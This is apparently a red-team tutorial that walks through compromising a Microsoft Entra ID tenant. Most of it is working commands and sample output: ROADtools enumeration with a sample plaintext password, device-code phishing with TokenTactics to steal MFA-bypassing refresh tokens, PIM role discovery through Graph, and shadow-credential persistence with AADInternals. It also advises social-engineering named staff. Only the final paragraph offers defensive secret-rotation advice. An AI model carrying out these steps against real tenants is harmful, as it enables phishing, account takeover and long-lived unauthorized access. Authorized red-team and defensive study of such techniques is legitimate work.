In late 2025, a threat actor compromised a Fortune 500 company by stealing an OAuth refresh token from a developer’s laptop and pivoting across three Azure tenants without ever touching a password. No MFA bypass. No phishing. Just token abuse and misconfigured service principals. That attack pattern is now the dominant Entra ID kill chain in 2026 — and your red team needs to replicate it before real adversaries do.
Step 1: Enumerate the Tenant and Harvest Tokens with ROADtools
ROADtools is an open-source Azure AD reconnaissance framework. It maps users, groups, service principals, app registrations, and conditional access policies by querying the MS Graph API with whatever credentials or tokens you already hold.
Start by authenticating with a compromised user account — even a low-privilege one — and dumping the tenant’s object graph:
# Authenticate and pull the full directory into a local SQLite DB
roadrecon auth -u j.harris@contoso-internal.com -p 'Summer2026!' --tokens-stdout
roadrecon gather
# Query for service principals with high-privilege app roles
roadrecon dump --object serviceprincipal | python3 -c "
import sys, json
for sp in json.load(sys.stdin):
roles = sp.get('appRoles', [])
if any(r.get('value') in ['RoleManagement.ReadWrite.Directory','Directory.ReadWrite.All'] for r in roles):
print(sp['displayName'], sp['appId'])
"
Example output:
ContosoPipelineAutomation a1b2c3d4-0001-dead-beef-192002000001
LegacyHRConnector f9e8d7c6-0002-cafe-babe-192002000002
Those two service principals hold Directory.ReadWrite.All — the closest thing to domain admin in Entra ID. The pipeline automation SP is the prize: it almost certainly has a client secret stored somewhere in a CI/CD environment. Your next move is to find that secret — check Azure DevOps variable groups, GitHub Actions secrets, or Terraform state files in the storage account the pipeline touches.
If you can authenticate as ContosoPipelineAutomation, you can add credentials to any other service principal in the tenant and impersonate anything. That is a full tenant compromise from one leaked secret.
Step 2: Abuse the Device Code Flow for Persistent Access
Device code phishing is still devastatingly effective in 2026 because it bypasses MFA entirely. You generate a device code, socially engineer a user into entering it at microsoft.com/devicelogin, and receive a fully authenticated refresh token — valid for 90 days by default.
The tool of choice is TokenTactics v2, which automates the full flow and handles token refresh:
# Generate a device code targeting the Microsoft Graph scope
python3 tokentactics.py --client-id 04b07795-8ddb-461a-bbee-02f9e1bf7b46 \
--resource https://graph.microsoft.com \
--flow devicecode
# Output:
[*] User code: HXONE-7392
[*] Verification URL: https://microsoft.com/devicelogin
[*] Code expires in: 900 seconds
[*] Polling for token...
# --- After user authenticates ---
[+] Access token acquired (exp: 3600s)
[+] Refresh token acquired (exp: 7776000s)
[+] User: m.okonkwo@contoso-internal.com
[+] Tenant: d4e5f6a7-0003-aaaa-bbbb-192002000003
[+] Roles: GlobalReader, SecurityReader
The refresh token is your crown jewel. It survives password resets. It works from any IP. Store it and use tokentactics.py --refresh to mint fresh access tokens whenever needed. The user m.okonkwo holds SecurityReader — enough to read all Defender incidents, Sentinel alerts, and conditional access policies. You now know exactly what the defender can see.
From here, escalate by using the Graph API to find users with eligible Privileged Identity Management (PIM) roles. A GlobalReader can enumerate PIM assignments even without activating them:
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilitySchedules" \
| jq '.value[] | {principal: .principal.displayName, role: .roleDefinition.displayName}'
# Output:
{ "principal": "svc-breakglass@contoso-internal.com", "role": "Global Administrator" }
{ "principal": "t.nakamura@contoso-internal.com", "role": "Privileged Role Administrator" }
Now you have two targets for the next phase: either crack the break-glass account or social-engineer t.nakamura into activating their PIM role during a simulated emergency.
Step 3: Persist with a Shadow Credential Attack
Shadow credentials — also called Key Trust abuse — let you add a certificate to a user or service principal’s msDS-KeyCredentialLink equivalent in Entra ID (keyCredentials attribute). If you have User.ReadWrite.All or own the target object, you can authenticate as that account forever, even after password changes.
# Using AADInternals to add a shadow credential to a target user
Import-Module AADInternals
$token = Get-AADIntAccessTokenForMSGraph -AccessToken $ACCESS_TOKEN
Add-AADIntUserKeyCredential \
-UserPrincipalName t.nakamura@contoso-internal.com \
-CertPath ./redteam-shadow.pfx \
-AccessToken $token
# Confirm
Get-AADIntUserKeyCredentials -UserPrincipalName t.nakamura@contoso-internal.com
# keyId: 7f3a1b2c-... | type: X509CertAndPassword | usage: Sign
The certificate is now tied to Nakamura’s account. You authenticate using the PFX and receive tokens scoped as that user — no password, no MFA prompt, because certificate authentication satisfies both factors in Entra ID’s default configuration. Defenders won’t see a failed login. The sign-in log shows a successful certificate-based auth from whatever IP you choose.
What To Do Now
Pull up your tenant’s service principal inventory today. Run this single Microsoft Graph query and look for any SP with RoleManagement.ReadWrite.Directory or Directory.ReadWrite.All that has a client secret older than 90 days:
GET https://graph.microsoft.com/v1.0/servicePrincipals?$select=displayName,appId,keyCredentials,passwordCredentials&$top=999
Every secret older than 90 days on a high-privilege SP is a ticking clock. Rotate it now, restrict its network access with Conditional Access, and add it to your Defender for Cloud Apps monitoring policy. That single action closes the most common Entra ID initial access vector your red team — and real attackers — will target first.
